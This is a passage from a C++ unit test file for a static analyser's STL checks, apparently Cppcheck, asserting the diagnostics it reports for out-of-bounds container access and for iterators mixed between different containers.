\"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void 